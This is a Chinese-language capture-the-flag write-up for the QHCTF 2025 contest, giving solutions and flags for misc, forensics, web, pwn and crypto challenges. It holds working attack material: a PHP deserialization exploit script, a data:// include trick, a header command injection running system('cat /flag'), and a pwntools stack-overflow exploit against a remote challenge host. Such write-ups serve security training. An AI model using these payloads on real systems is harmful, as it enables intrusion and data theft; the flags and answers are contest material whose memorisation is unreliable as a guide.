第一届“启航杯”网络安全挑战赛WP

misc

PvzHE

去这个文件夹

有一张图片

QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}

QHCTF For Year 2025

攻防世界有一样的

080714212829302316092230

对应Q

以此类推

QHCTF{FUN}

请找出拍摄地所在位置

柳城

顺丰

forensics

win01

这个软件

云沙盒分析一下

md5

ad4fdee2eada36ec3c20e9d6311cf258

Win_02

HackY$

32ED87BDB5FDC5E9CBA88547376818D4

123456

HackY$_123456

fb484ad326c0f3a4970d1352bfbafef8

Win_07

找到密码

Th3_1s_F1ag.Z1p_P@ssW0rd_Y0u_Now

解压

QHCTF{6143b46a-8e98-4356-a9b2-251a7ec19e51}

web

Web_pop

复制代码

 <?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $name;
    protected $func;
 
    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    private $obj;
    private $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

后门在这里file_get_contents('/flag');

然后逆着看

__invoke

($this->func)();->__invoke

if(isset( $this-\>obj-\>cmd))-\>($ this->func)();->__invoke

$this-\>cla = clone$ var[0];-> if(isset( $this-\>obj-\>cmd))-\>($ this->func)();->__invoke

$this-\>obj-\>check($ this->var);-> $this-\>cla = clone$ var[0];-> if(isset( $this-\>obj-\>cmd))-\>($ this->func)();->__invoke

echo "Welcome to QHCTF 2025, ". $this-\>name;-\>$ this->obj->check( $this-\>var);-\>$ this->cla = clone $var\[0\];-\> if(isset($ this->obj->cmd))->($this->func)();->__invoke

这样来触发。

也就是

$a=new Start();

$a->name=new Sec();

$a->name->obj=new Easy();

$a->name->obj->cla=new eeee();

$a->name->obj->cla->obj=new Start();

$a->name->obj->cla->obj->func=new Sec();

exp：

复制代码

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start
{
    public $name;
    public $func;

}

class Sec
{
    public $obj;
    public $var;

}

class Easy
{
    public $cla;

}

class eeee
{
    public $obj;


}

$a = new Start;
$b = new Sec;
$c = new Easy;
$d = new eeee;
$e = new Sec;
$f = new Start;
$a->name = $b;
$b->obj = $c;
$b->var = $d;
$d->obj = $f;
$f->func = $e;
echo serialize($a);

Easy_include

?file=data://text/plain,

即可命令执行

Web_IP

IP的地方可以执行命令

X-Forwarded-For： {system('cat /flag')}

PCREMagic

可以上传文件，对文件名没有限制，最后都会重命名1-9.php

关键是文件内容检测<?php

pwn

Easy_Pwn

vulnerable

栈溢出

exp

复制代码

from pwn import*
from struct import pack
from ctypes import *
#from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('154.64.245.108',33135)
#p=process('./pwn')
libc=ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf=ELF('./pwn')
def bug():
    gdb.attach(p)
    pause()
def s(a):
    p.send(a)
def sa(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def sla(a,b):
    p.sendlineafter(a,b)
def r(a):
    p.recv(a)
def pr(a):
    print(p.recv(a))
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_addr64():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
    return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
    return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


pay=b'a'*0x58+p64(0x4011ca)
#bug()
s(pay)
inter()

cr

Easy_RSA

复制代码

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64

# 生成RSA密钥对
private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQCYQjRaBQcBJmdxdCo4YaK/8TIdlj9Cjt6ewjF8NzV7BAj5ZEXy\nsuXdYbXVOAmVKDYKglo9TKUbRVKbPk7f3rIfnIrMqm8TpJTPAnyssiXs3Zy9yz+p\nqWbRTvd0xWJoWxy9TTzdczkS8yVkRBIdNJ3ghJV8B5YVkgFtMoyPX8TQhQIDAQAB\nAoGARibOvyEs2oNKyvO2VjbqCRzEtewZZn20JZqcuTooum6gAeQI9GsnzKnt4PkK\nNT6LM6lekXrEYb29c0iwh6YwE/mOIu5G3Yz2qQJDyZEqvM4N4KnITJM4v1WPv7tC\nurpZj906Odbx6oFXNc5XJMGp6GgjOqqLomBCcRvKlKdX36sCQQDA3GGS4Hy5htlQ\nydkiQujUAAlcoTlx/kPZSrCOehBsOWytwRjiGm1xTu6s8mBY2O+kIDZx1DGbDQ54\nKi9jJqWfAkEAyhr1iR9mofi+WqSfcG41jjmLFUgKFcO/ImcE3kcs2eGLodoyOJF1\nCBPw8ANME36OJiwXNSFOyQJWuzNoJchvWwJAG36Pjn/gaBaYXpMYGHFPfgGvU/xM\nEzs7cvvZ5cXzF2qsWqz/niREW/XzwsYfBCuRJmXNPTcSB1e6K1lgPhNhYwJBALZg\nxZnL4E3hrcUWMVq/2UxS2ROHQrKJRf3BgT8kc3Dae6q+v/sUJ8v2UsID967P0W7Y\n8shbGkGB/spHhYAy82kCQE7UVrGsArk46F1snawUIPUPMye3yBwvCeyCSX+WyQ7h\nS1IaHaAy3kJ9J/0faMDayG724TpMcsBii1pU2Hhh8p0=\n-----END RSA PRIVATE KEY-----'
public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYQjRaBQcBJmdxdCo4YaK/8TId\nlj9Cjt6ewjF8NzV7BAj5ZEXysuXdYbXVOAmVKDYKglo9TKUbRVKbPk7f3rIfnIrM\nqm8TpJTPAnyssiXs3Zy9yz+pqWbRTvd0xWJoWxy9TTzdczkS8yVkRBIdNJ3ghJV8\nB5YVkgFtMoyPX8TQhQIDAQAB\n-----END PUBLIC KEY-----'
enmessage="PSvEAGef52/sz8q2f3jjC2OJP9pYEa04kSTeTIX3swnAMrJw9ZagvLRplqk+NjdCmvRAbnbYrBXi9aP8sz604rqn+7S58WTyPgnqIkFwynHBY7NTmvVAKKDc7GJWltQql4iVAxFbrwIBREcSZJwhloWGmCa5dBjlMEzWtv6Jx0o="

def encrypt_message(message, public_key):
    key = RSA.import_key(public_key)
    cipher = PKCS1_OAEP.new(key)
    encrypted_message = cipher.encrypt(message.encode())
    return base64.b64encode(encrypted_message).decode()

def decrypt_message(encrypted_message, private_key):
    key = RSA.import_key(private_key)
    cipher = PKCS1_OAEP.new(key)
    decrypted_message = cipher.decrypt(base64.b64decode(encrypted_message))
    return decrypted_message.decode()

#message = "Hello, this is a secret message!"
# encrypted = encrypt_message(message, public_key)
# print("加密后的消息:")
# print(encrypted)

decrypted = decrypt_message(enmessage, private_key)
print("解密后的消息:")
print(decrypted)

传入题目给的公钥，私钥，以及密文（访问靶机/encode）即可

QHCTF{ec9ee719-8336-4a7c-8c7f-745c89d220ce}